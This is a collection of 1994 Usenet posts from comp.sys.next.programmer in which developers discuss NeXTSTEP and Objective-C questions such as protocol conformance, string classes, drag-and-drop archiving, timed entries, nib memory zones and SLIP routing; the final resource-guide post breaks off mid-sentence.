Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Subclass conforming to protocol Message-ID: <1994Feb13.135129.484@afs.com> Sender: Michael_Pizolato@afs.com References: <2je3dr$jtd@zip.eecs.umich.edu> Date: Sun, 13 Feb 1994 13:51:29 GMT Stepan Stepanian writes >Suppose object SubA is subclass of an object A and inherits its method >"someMethod". Suppose also that the same method is included in ><SomeFormalProtocol> to which the object SubA conforms. > >Because SubA inherits "someMethod", one would think it should satisfy ><SomeFormalProtocol> requirements. In reality, the compiler complains >that "someMethod" is not defined for SubA, so the SubA "...does not fully >implement the <SomeFormalProtocol>". > >Is there any way to avoid having to explicitly define the method in cases >like this? No. It stinks. NeXT's implementation of protocols is brain-dead in many and varied ways - your example is only one of them. I wrote a method once where the object being passed as a parameter was expected to conform to a protocol. In addition to the compile-time check: - foo:(id <bar>)mumble I put a run-time check in the code: if ([mumble conformsTo:@protocol(bar)]) and the compiler warned that "method 'conformsTo' not implemented by protocol 'bar'" or something like that. In other words, not only was the mumble object expected to implement all the methods in bar, but it was also expected to implement _only_ the methods in bar, even to the exclusion of methods in the Object class! In the words of Dave Barry, "I swear I am not making this up." :-( Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 13 Feb 1994 13:46:41 -0000 Organization: me organized? That's a joke! Message-ID: <2jlb01$hk@steffi.demon.co.uk> References: <1994Feb9.235943.1578@gamelan.uucp> <CL2tLM.qJ@friday.com> <1994Feb12.164725.24229@rbc.uucp> al@rbc.uucp (Al Davis) wrote in comp.sys.next.programmer >In article <CL2tLM.qJ@friday.com> bbum@friday.com writes: >>There is no need to use strcpy(), etc. I have been using Objective >>Technologies StringKit for quite some time and have eliminated almost all >>memory problems associated with string manipulation. >> >>id string = [OTString otisRetrieve]; // get a temporary instance >>[string sprintf:"Hello world\n"]; >>fprintf(stdout, "String was: %s", [string stringValue]; >>[string otisRelease]; > >What a mess!! > >In C++, you overload strcpy(), so the syntax remains the same as it >was for old C. You get all the benefits and the code reads the same >as it always has. > You can overload strcpy in ObjC too because in C++ it's isn't overloading that you are using it's user defined conversions. ie. operator char * Overloading is when you say if (stringobject == anotherstringobject), which is easy in C++ (of course UniqueString's are the exception, as far as ObjC is concerned) >Objective-C has some advantages. This isn't one of them. Agreed. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer Subject: SUMMARY: compiling macutil 2.0b1 on NeXCTStep 3.2 Date: 13 Feb 1994 23:09:19 +0100 Organization: University of Bergen Message-ID: <2jm8ef$jr1@alf.uib.no> Thanks for all the replies. The problem was fixed by adding the following flag to the Compiler Flags: D_POSIX_SOURCE After that it compiled almost perfectly, just some warnings. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: gerti@tms-gmbh.de (Gerd Knops) Newsgroups: comp.sys.next.programmer Subject: Re: Multiple Languages Date: 13 Feb 1994 16:19:23 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402111609.AA00942@Cranach.tms-gmbh.de> > > [several Posts about multiple nibs for multiple language support] > Since I am currently located in Germany, I have to do a great deal of localization in my Apps. The concept of multiple nibs, doesn't cost to much space, but is IMHO a pain in the a... to maintain, especially in bigger applications. With the help of a few categories and a little I do the localization while loading the nib files, using string tables. This is much faster and easier to maintain, and localization can also be done by people that are non professionals with IB. Of course when designing the nib-files, you have to have the different size of the strings in mind, but: - you get used to this very fast - you wouldn't want to have to rearrange all the nibs for a different language! And maybe in NEXTSTEP V23.99 Next finally allows you to have MORE THAN ONE LANGUAGE in PB, and also modifies the Makefiles accordingly, currently it is not a nice job to incorporate this in the 3.2 makefiles... (But you get used to that if you have to rewrite your makefiles with every Nextstep release anyway) BTW: I also use a programmatic approach to connect the help files to all the UI Items. Again, maintaining all that with IB is just to much work. gerti +------------------------------------------------------------------+ Gerd Knops gerti@tms-gmbh.de As I experience certain sensory input patterns, my mental pathways become accustomed to them. The inputs are eventually anticipated and even missed when absent. Lt.Cdr. Data +------------------------------------------------------------------+
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects & SLIP Date: 13 Feb 1994 23:09:25 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Feb14000926@jodokus.en.open.de> References: <RALF.94Feb11171827@jodokus.en.open.de> <2jhptf$gd0@quartz.ucs.ualberta.ca> In-reply-to: jmack@skye.phys.ualberta.ca's message of 12 Feb 1994 05:36:47 GMT >>>>> "jmack" == jmack <jmack@skye.phys.ualberta.ca> writes: In article <2jhptf$gd0@quartz.ucs.ualberta.ca> jmack@skye.phys.ualberta.ca writes: jmack> In article <RALF.94Feb11171827@jodokus.en.open.de> jmack> ralf@reswi.en.open.de (Ralf E. Stranzenbach) writes: >> Hi, >> >> i've just connected two NeXTs using Transys' Dialup-IP >> software. This works fine BUT i can't connect to Distributed >> Objects on the other machine. If i try to connectToName:onHost: >> my client just freezes for some seconds. >> >> I don't know what i'm doing wrong. >> >> I can't run NeXTSTEP Apps on the other system (using NXHost) - >> they fail to connect my Workspace. >> >> Help, please - ralf jmack> Set up the call for rc.slip BEFORE nmserver, so that Mach jmack> IPC knows about slip0. (means: put r.slip in /etc/rc jmack> instead of /etc/rc.local, just above the call to jmack> /usr/etc/nmserver). Failing to do this means that IPC tries jmack> to do everything over the built in hardware interface, and jmack> nothing will ever go out on slip0. This seems not to be the problem. "nmserver" pops up before any other application on 3.1 > because it may be required for some drivers. Some seconds later "rc.net" kills "nmserver" with "kill -USR2" to notify the configurations' change. jmack> Additionally, if you have en0 up (from /etc/hostconfig) - jmack> whether intentionally or not, you'll have to make sure to jmack> delete the route entry that ifconfig generates jmack> automatically for this interface. On a remote slip-client, jmack> en0 is not needed, and get's in the way setting up the jmack> default route for slip0. - remove most of the jmack> configuration info from /etc/hostconfig, except the jmack> hostname jmack> If you MUST run en0, and also have it use the same IP jmack> address as slip0, then have a careful look at the routing jmack> table and remove the en0 path. My distributed-object problem turns out to be really a routing problem. Here are some additional informations: reswi: hostconfig: 193.23.165.1 en0: 193.23.165.1 slip0: 193.23.165.1 -> 192.42.174.1 route add: 192.42.172.121 -> 192.42.174.1 cleopatra: hostconfig: 192.42.174.1 en0: 192.42.172.121 slip?: 192.42.174.1 -> 193.23.165.1 Please note: some of these IP-adresses are unregistered. They are used for local connections ONLY. Using this configuration a client running on "cleopatra" connects to the server running on "reswi". Without the additional route, "reswi" sends NO replies to incoming requests (from the "client"). With this reaction in mind, i bet that "nmserver" on "cleopatra" uses the *.121 address to stamp it's transcribed mach-message-ip- packets... (funny word; we should call it mmip's, shouldn't we?) I tried some other combinations to get some further informations: Client calls server on reswi cleopatra 193.23.165.1 192.42.172.121 192.42.174.1 ------------------------------------------------------------------------------- Client on reswi work's ok no chance no chance Client on cleopatra work's (slow) no chance work's ------------------------------------------------------------------------------- Funny enough, the "nmserver" on "cleopatra" stamps it's mmips with *.121 but can be accessed only using the *.1 address. I had no chance to connect the server on "cleopatra" from 'outer space' with both addresses either. Hopefully, there is someone out there who can explain this behaviour. I do not know what exactly happens in the "nmserver" process. This entire problem made my brain boil... Help. - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- Komplexe Probleme haben einfache, leicht umzusetzende aber falsche Loesungen.
Newsgroups: comp.sys.next.programmer From: jfr@squaw.pdh.com (Jon F. Rosen) Subject: Re: Is Objective - C a dead language ? Message-ID: <CL6q6r.55D@pdh.com> Sender: news@pdh.com (USENET News Account) Organization: PDH, Inc. References: <CL2tLM.qJ@friday.com> Date: Sun, 13 Feb 1994 22:52:03 GMT bbum@friday.com writes > Thomas Funke writes > > In article <t9%@byu.edu> writes: > > > > > > It's true that a lot of C++'s syntax is messy. But on the other > > hand, you can write things like > > > > String s ("\n"); > > > > s = "Hello " + "world" + s; > > This continues to be one of the MOST HORRIBLE examples of operator overloading in existence. It amazes me that people STILL do this. Why do I object? Simple. Operator overloading is intended to allow the use of the same operator for different types of data. However, the function of the operator should stay the same. It should not be coerced into some new meaning. Thus, the use of the + operator, which inherently means "to add" as a replacement for a concatenation operator which means "to concatenate" or "to append" is a bogus example of overloading. It is confusing and causes all sorts of anomalies in programs. For instance, what does the following mean? char *s = "1234" + 8765; In my book, it should be just as acceptable as: char *s = 1234 + 8765; or char *s = "1234" + "8765"; And all three should yield the same result: a string with the value "9999". And the following examples: int s = "1234" + 8765; int s = 1234 + 8765; int s = "1234" + "8765"; should yield an integer with the value 9999. Addition is addition and should not be mixed up with concatenation of strings. If C++ class developers could get it through their heads what operator overloading is good for and how it should be properly used, things would be much safer and more reliable. True, this still leaves you with functional syntax for concatenation because C has no concatenation operator. Maybe C++ should permit extending the operator set. If so, I would have no objection to creating a NEW operator, one that does string concatenation. My only objection is when you overload the SEMANTIC MEANING of an operator instead, as was intended, merely overloading the types of data the original meaning can be applied to. Jon Rosen
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: PB Library Hack difficulties. Message-ID: <CL6sD4.2rz@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2jjg81$jn@steffi.demon.co.uk> Date: Sun, 13 Feb 1994 23:39:04 GMT I had the same problem under 3.2... it seems to involve how you type the name for the new project. I couldn't pin it down; but it seemed to fail whenever the "path doesn't exist; create?" panel showed up.... BTW: I have hacqued the make environment even further and now have a version that does: - manages and updates API - supports demo and debug build/install - manages version/revision - embeds library name, version, and revision into library as a symbol that can be grepped for.... If anyone is interested in doing the extra work to make it distributable (like Mike's version), I'd be happy to send 'em all the info-- I don't have time to do it myself.... b.bum Robert Nicholson writes > Guys, has the PB hack been certified for 3.1? > > For some reason PB will not find Library/Makefile.preamble. It always > copies the one from /NextDeveloper/Makefiles/app this is a real pain > because I cannot point it to the library target without changing the > NeXT makefiles and I don't want to do that. > > I don't know why it would do this, but it is. > > I've followed Mike's instructions to the letter for MOKit and also > tried the 3.2 version (san Tool stuff) that Michael posted. > > project.templates/Library: > total 7 > drwxr-xr-x 2 robert 1024 Feb 12 20:44 . > drwxr-xr-x 7 robert 1024 Feb 12 20:38 .. > -r--r--r-- 1 robert 3633 Feb 12 20:44 Makefile.preamble > -rw-r--r-- 1 robert 196 Feb 12 20:39 PB.project > > It aint finding it. > > Surely this doesn't work in NS3.1 but works in 3.0 and 3.2? > > Note: my Library (ie. project NOT PB's) projects PB.project looks like this. > > FILESTABLE = { > OTHER_SOURCES = (Makefile.preamble, Makefile, Makefile.postamble); > }; > DOCEXTENSIONS = (); > LANGUAGE = English; > PROJECTVERSION = 1.1; > INSTALLDIR = "$(HOME)/Developer/Libraries"; > PROJECTTYPE = Library; > PROJECTNAME = rob; > > So it finds the correct PB.project but doesn't find the > Makefile.preamble. Wierd. > > Seeing the above permissions I changed them to look like. > > drwxr-xr-x 2 robert 1024 Feb 12 20:44 . > drwxr-xr-x 7 robert 1024 Feb 12 20:38 .. > -rw-r--r-- 1 robert 3633 Feb 12 20:44 Makefile.preamble > -rw-r--r-- 1 robert 196 Feb 12 20:39 PB.project > > Still joy. > > -- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "No, what?" > "Nothing" (Charade, 1963) > (ASCII for text only messages) -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: brill@sybase.com (Michael Brill) Newsgroups: comp.sys.next.programmer Subject: ObjectWare Catalog Message-ID: <CL2q7G.2rJ@sybase.com> Date: 11 Feb 94 19:02:02 GMT Sender: usenet@sybase.com Organization: Sybase, Inc. Anyone know what the latest ObjectWare catalog is? I have the Spring 1993 catalog, but would guess there's a new one. Also, does NeXT publish this electronically so we can get it up to date? Please email Thanks, ...Michael
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Having real trouble with timed entries Date: 14 Feb 1994 06:04:19 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2jn493$nhq@senator-bedfellow.MIT.EDU> During the past week I have been having a heck of a time trying to remove a timed entry that is run at NX_MODALRESPTHRESHOLD+1 (one higher than control class event threshold). The timed entry in question is called saveTimer, and it's purpose is to place data into an object's instance variable every 0.5 seconds. Anyways, I use DPSRemoveTimedEntry(saveTimer) to remove this entry, but it seems that 60-70% of the time the saveTimer continues to function even after it was supposed to be removed. At first I thought that one last timed entry was left in the queue after the timer was removed, so I used perform:with:afterDelay:cancelPrevious: to call a freeData method with delay of 1.0 seconds after the timed entry was supposed to be removed. That way the data would not be freed until AFTER the last timed entry executed (since they are called only every 0.5 seconds). It turns out that even after doing this, the saveTimer still calls its method (which results in a crash of the program since I have to free the data that the saveTimer is supposed to access). It seems DPSRemoveTimedEntry is not working. Anyone know what's wrong? DPSRemoveTimedEntry does not return a value if successful, so I can't test it that way. Also, even though timed entries don't actually place an event in the queue, I was wondering if there was a way to look at the event queue in the debugger? How about a way to look at what timedEntries are being called? This might help me find out what is wrong. Thanks, Eric
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: PB Library Hack difficulties. Date: 14 Feb 1994 08:56:30 -0000 Organization: me organized? That's a joke! Message-ID: <2jnebu$p4@steffi.demon.co.uk> References: <2jjg81$jn@steffi.demon.co.uk> <CL6sD4.2rz@friday.com> bbum@friday.com wrote in comp.sys.next.programmer > >I had the same problem under 3.2... it seems to involve how you type the >name for the new project. I couldn't pin it down; but it seemed to fail >whenever the "path doesn't exist; create?" panel showed up.... Yes I discovered this last night and alerted Michael to the problem. Basically if you leave the /PB.project on when you save a new project it will NOT find the "local" Makefiles from the Library template. You must save with projectname only. Wierd behaviour that. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Precompiled header file format? Date: 14 Feb 1994 11:51:28 -0000 Organization: me organized? That's a joke! Message-ID: <2jnok0$1ng@steffi.demon.co.uk> Is this documented? Is there a tool to display what's in a precompiled header file? For instance. When using any of the NeXT precompiled headers in header files that will be part of your projects precompiled header you will end up with very large precompiled headers. So is it still best to only #include specific headers in this context? I use @class when appropriate also. I guess I could do a Scott and hack around with IXKit a bit :-) -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jds@aplexus.jhuapl.edu (John D Stanhope) Subject: Archiving to the pasteboard for drag and drop Message-ID: <CL7vBt.G6o@netnews.jhuapl.edu> Sender: usenet@netnews.jhuapl.edu Organization: Johns Hopkins U. Applied Physics Lab Date: Mon, 14 Feb 1994 13:40:41 GMT I am new to this NeXTSTEP programming thing so if any of my errors are really horrendous please no extreme flamage. Right now I have a view that loads in a couple of objects that have icons associated with them. What I want to be able to do is drag the image of that object into another view. When the drag opertion is started I want to archive the selected object and stream it to the pasteboard and then unarchive it when its dragged to the proper view. Here's what I have so far. write method for object to be archived - write: (NXTypedStream *)stream { [super write:stream]; NXWriteObjectReference (stream, blockName); NXWriteObjectReference (stream, blockImage); NXWriteTypes (stream, "ffff", &blockImageBounds.origin.x, &blockImageBounds.origin.y, &blockImageBounds.size.width, &blockImageBounds.size.height); return self; } Source drag view - (BOOL)setupForSourceDrag { id pBoard; NXAtom block = "Block"; NXStream *stream; NXTypedStream *ts; pBoard = [Pasteboard newName:NXDragPboard]; [pBoard addTypes:&block num:1 owner:self]; stream = NXOpenMemory(NULL, 0, NX_WRITEONLY); ts = NXOpenTypedStream(stream, NX_WRITEONLY); [blockSelected write:ts]; [pBoard writeType:block fromStream:ts]; NXCloseTypedStream(ts); return YES; } Destination drag view - (BOOL)performDragOperation:sender { NXAtom block = "Block"; Pasteboard *pboard; Block *aBlock; NXStream *stream; NXTypedStream *ts; pboard = [sender draggingPasteboard]; stream = [pboard readTypeToStream:block]; ts = NXOpenTypedStream(stream, NX_READONLY); [aBlock read:ts]; NXCloseTypedStream(ts); NXCloseMemory(stream, NX_FREEBUFFER); [self display]; return YES; } The problem I have is that when I click on the object I get this message from gdb Typed streams library error: NXWriteObjectReference: NXWriteRootObject has not been previously done The object being archived is a direct subclass of object. What am I missing? The other question I have is that do I have to have an object alreading allocated and initialized before I have it read the stream? As in the case of the destination drag view i.e. shound Block *aBlock; -> id aBlock = [[Block alloc] init]; I swear this is my last question and it pertains to those who know of the MiscDragView in the misckit. The two views I am using are subclasses of the MiscDragView, do I need to explicily copy the image in the source view to the pasteboard in order to get that image dragged or can I just say dragImage = myImage and leave at that? --Thanks jds ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Sure they do, they just don't understand it" ----------------------------------------------------
From: vanguard@oar.net (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Thanks to Sam && NeXT Date: 14 Feb 1994 08:59:53 -0500 Organization: OARnet Distribution: world Message-ID: <2jo04p$ce9@dialup.oar.net> Many thanks to Sam S. for polishing XoX and posting the SOURCE!! Thanks to NeXT for allowing useful non-supported work to escape from the black hole in Redwood City again. BTW, there is one REALLY interesting file included in the source... SGS_ENV # # NRW Cross compilation environment until all the makefiles get fixed. # make=/bin/make -/RC_ARCHS/ $ "RC_CFLAGS=-arch m98k" RC_ARCHS=m98k MACHINE=m98k cc=/bin/cc ^ -I/Net/agnosis/mk/osdev/MKNRW/mknrw ^ -I/Net/agnosis/mk/osdev/ARCHITECTURE [remainder deleted] Aha. Not only did an NRW exist, it was (is) far enough along to run XoX. The only part I can't figure is.....m98k?? Is this a generic arch flag for the Moto 88K family?? One can only wonder how well XoX ran on this environment.... ---- Tyler Gingrich Vanguard Software, Corp.
From: jhermann@node_24045.dadd.ti.com (John Hermann) Newsgroups: comp.sys.next.programmer Subject: Sound related PANIC crashes. Date: 14 Feb 1994 14:05:38 GMT Organization: Design Automation Division, Texas Instruments. Message-ID: <2jo0fi$oae@barracuda.dadd.ti.com> Is there a bug in NS3.0 that can cause the OS to PANIC when multiple sounds are played simultaneously. I am working a program that seems to have this problem. The program has only crashed with the sounds engaged. The PANIC window comes up, and a bunch of junk is printed out. Toward the end of the printout, it says something about invalid sequence when walking through a table. Does anybody know anything that might help me solve this problem? I would appreciate any feedback via e-mail. Best Regards, John Hermann email: jherman@ee.tamu.edu ee.tamu.edu = 128.194.24.2
From: u9006869@athmail1.causeway.qub.ac.uk (Ren and Stimpy) Newsgroups: comp.sys.next.programmer Subject: Calendar again! Date: 14 Feb 1994 08:42:11 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402141437.AA03857@qe2> Many thanks to everybody who sent me stuff for my first request. Unfortunately, I forgot to mention that we're running NS 2.1, which means the stuff you sent me won't load into IB (the code's OK though). Anybody know of a 2.1 calendar palette??? BTW, don't blame me, balme Queen's for not buying powerful enough machines to begin with. :( Darren Aitcheson ---------------- Q.U.B. NeXT: se01@elegabalus.cs.qub.ac.uk Other: u9006869@athmail1.causeway.qub.ac.uk
From: matthewm@sgate.com (Mike Matthews) Newsgroups: comp.sys.next.programmer Subject: Clearing pasteboard SUMMARY Date: 14 Feb 1994 09:13:05 -0500 Organization: Collins International Services Company Message-ID: <2jo0th$iv4@sgate.com> Thanks to Tobias Hoellrich, davis@sonata.cc.purdue.edu, and Larry Blische for answers to my question about how to clear a pasteboard. The solution is deviously simple -- write 'nothing' to it to overwrite what was there. ------ Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted) ------ Remember: Silly is a state of Mind, Stupid is a way of Life. -- Dave Butler
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Archiving to the pasteboard for drag and drop Date: 14 Feb 1994 14:49:36 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2jo320$q5t@rosie.next.com> References: <CL7vBt.G6o@netnews.jhuapl.edu> In article <CL7vBt.G6o@netnews.jhuapl.edu> John D Stanhope writes: > - (BOOL)setupForSourceDrag { > ... > [blockSelected write:ts]; > ... > } > > - (BOOL)performDragOperation:sender { > ... > [aBlock read:ts]; > ... > } You implement read: and write:, but you call NXReadObject() and NXWriteObject(). These functions do various bookkeeping before calling read: and write: in your objects. > The other question I have is that do I have to have an object alreading > allocated and initialized before I have it read the stream? As in the case > of the destination drag view i.e. shound > Block *aBlock; -> id aBlock = [[Block alloc] init]; No; all you do is Block *aBlock = NXReadObject(stream); Ali, Ali_Ozer@NeXT.com
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Archiving to the pasteboard for drag and drop Date: 14 Feb 1994 14:49:55 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2jo32j$q5u@rosie.next.com> References: <CL7vBt.G6o@netnews.jhuapl.edu> In article <CL7vBt.G6o@netnews.jhuapl.edu> John D Stanhope writes: > - (BOOL)setupForSourceDrag { > ... > [blockSelected write:ts]; > ... > } > - (BOOL)performDragOperation:sender { > ... > [aBlock read:ts]; > ... > } You implement read: and write:, but you call NXReadObject() and NXWriteObject(). These functions do various bookkeeping before calling read: and write: in your objects. > The other question I have is that do I have to have an object alreading > allocated and initialized before I have it read the stream? As in the case > of the destination drag view i.e. shound > Block *aBlock; -> id aBlock = [[Block alloc] init]; No; all you do is Block *aBlock = NXReadObject(stream); Ali, Ali_Ozer@NeXT.com
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Destroying a nib memory zone Date: 14 Feb 1994 15:41:00 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2jo62c$q6g@rosie.next.com> References: <2j8lnj$orq@darkstar.UCSC.EDU> In article <2j8lnj$orq@darkstar.UCSC.EDU> Art Isbell writes: > I've never met a memory zone that I didn't like, but that doesn't mean > that I want them hanging around throughout the life of my app :-) But all > attempts to destroy nib memory zones have resulted in certain death of my > app :-( ... Maybe the app object is a little slow at > removing freed windows from its window list so I need to do a delayed > destroy. But I'm not seeing a freed object error, so I'm confused. Can > anyone provide the magic key? If you destroyed a zone with objects in it that are still referenced from your program, you wouldn't see a freed object error --- you see these when you send messages to an object which was freed properly with the free message. In those cases ObjC replaces the isa pointer with a pointer to the FREED class, which is then used to detect messages to freed objects. Destroying a zone effectively removes the memory pages, so access to objects or other memory in that zone will probably cause a bus error, which is probably what you are seeing. One thing you can do is remove the code to destroy zones, link with malloc debug, look at the zones in your application with MallocDebug, and create/destroy a document (or whatever it is that creates/destroys a zone in your app). You should be able to track down what objects remain in your zone. You might want to name your zones to help in debugging. If it turns out to be difficult getting rid of those objects (some might be kit-caused, for instance), then just keep the zone around and reuse it. That's what Draw does... Ali, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: String Class Protocol and Objc++ Message-ID: <1994Feb13.220806.4658@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) References: <CL3wrv.HuJ@relief.com> Date: Sun, 13 Feb 1994 22:08:06 GMT In article <CL3wrv.HuJ@relief.com> jjfeiler@relief.com (John Jay Feiler) writes: > Recently, there was an open request from OPN for submissions for a String > Class Protocol, to hopefully insure that String classes from different > vendors would be interchangable. > > As you may or may not know, NeXT has publicly stated that most, if not all, > references to (char *) within the AppKit will be going away in NS 4.0, in > order to accomodate languages with monster character sets, like Japanese. > This is ultimately tied up in the re-write of the crufty Text class. What > NeXT has yet to announce or finalize, is that NeXT already has, for internal > use only, a set of String classes. They have even implemented a nifty > extension to the compiler, whereby you can instantiate an NXString object > like this: > > id string = @"hi there"; > > My major concern here is that whatever protocol is settled on by OPN, that it > must be able to be used by the NS4.0 Text object. Or, that the finalized > NeXT NXString Hierarchy work correctly with the 3rd party String objects. > > [... Most of the message deleted ...] > -- > John Feiler jjfeiler@relief.com > Relief Consulting & Development (206) 743-3953 > 4926 152nd St. SW NeXTmail Welcome!!! > Edmonds, WA 98026-4433 Independent NeXTSTEP Developer > -- This is a good case where the C++ approach would be more appropriate than an orthodox Objective-C approach. The example given above (id string = @"hi there") and the required language extention to support it is clearly a way to use a C++ feature unavailable in Objective-C. The proposed "String Class" is not really an Object Oriented thing. It is a data type with some "inteligence" added. I don't consider C++ as an OOP language BUT C++ has the capabilities to extend the types and add them some kind of intelligence. The g++ library contains a String C++ class definition. I am not familiar enough to evaluate that code myself but I think it would worth the effort to test and evaluate it before trying to re-invent the wheel with Objective-C tires. Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Precompiled headers problem: wierd.... Date: 14 Feb 1994 17:12:50 -0000 Organization: me organized? That's a joke! Message-ID: <2jobei$55d@steffi.demon.co.uk> I'm using some precompiled headers and I'm getting the following error. cc -g -O -Wall -I./sym -I/Users/robert/Developer/Headers -arch m68k -I./sym -c NibInfoPalette.m -o ./m68k_obj/NibInfoPalette.o NibInfoPalette.m:7: warning: could not use precompiled header '/Users/robert/Developer/Headers/ObjCCategories.p', because: NibInfoPalette.m:7: warning: macro 'index' defined by /NextDeveloper/Headers/ansi/string.h conflicts with precomp /Users/robert/Developer/Headers/ObjCCategories.h:1: header file 'List.Perform.h' not found /Users/robert/Developer/Headers/ObjCCategories.h:2: header file 'NXBundle.Management.h' not found /Users/robert/Developer/Headers/ObjCCategories.h:3: header file 'Object.MethodList.h' not found /Users/robert/Developer/Headers/ObjCCategories.h:4: header file 'Object.TimeBomb.h' not found /Users/robert/Developer/Headers/ObjCCategories.h:5: header file 'Storage.PrintElements.h' not found *** Exit 1 Stop. *** Exit 1 Stop. Note: that my library (for which ObjCCategories.h) is for contains a list subclass and in that a _method_ index is defined. There seems to be a clash b/w the index symbol written in the .p file and the macro index() from string.h Now I know all about this "context" stuff with precomp's but this looks like a bug in the mechanism since it is unable to distinguish b/w the two. NS3.1 -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: Operation not supported on a socket Message-ID: <1994Feb14.160221.20180@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994Feb11.172547.4540@instep.wimsey.bc.ca> Distribution: usa Date: Mon, 14 Feb 1994 16:02:21 GMT Sometimes we get that message when someone tries to build someone else's project. They aren't the owner (they are in the group, though) but when make finishes the .app or .debug is given 755 permissions, hardcoded into the makefile! So the owner must go and make clean or chmod so we can build. I really dislike Next's makefiles! The problem with making them right is that you'll have to do it over for each release, it seems. Monty monty@its.com > In article <1994Feb10.215742.2070@parsec.mixcom.com> > scott@parsec.mixcom.com (Scott Violet) writes: > > Hi all, > > We seem to repeatedly get the error, 'operation not supported on > > a socket', when compiling using PB. Performing a make clean, and then > > rebuilding rectifies the problem, but for large apps this can take > > quite some time. I'm wondering if anyone else out there has > > experienced this problem and knows how to fix it. > > Thanks, > > -Scott Violet (scott@SmartSoft.com) > > We get this error when there is not enough space in /tmp for > temporary files created during the final link phase. A tremendous > amount of disk space is needed, particularly for multi-architecture > builds. > --
From: t146678@lehtori.cc.tut.fi (Tuominen Juha) Newsgroups: comp.sys.next.programmer Subject: Printing a view that doesn't exist Date: 14 Feb 1994 19:31:11 +0200 Organization: Tampere University of Technology, Computing Centre Distribution: world Message-ID: <2jocgv$228@cc.tut.fi> I'm writing an application that needs to print to laser printer some pages of values that are not visible on the screen. The stuff needed to be printed is ascii text, so it's not a problem, but I couldn't find a way to put the text nicely in PS format. So it made a kludge: a window which is never opened and a TextView inside it. Then I wrote the text in the TextView and sent printPSCode:. It works, but it seems to be a lame way to solve the problem. Anyone having a better idea? -Juha -- Unauthorised copying, public performance, broadcasting, hiring or rental of this mail prohibited. All the names have been changed to protect the innocent.
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 14 Feb 1994 14:45:33 -0500 Organization: Next Announcements Message-ID: <2jokct$gqf@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to 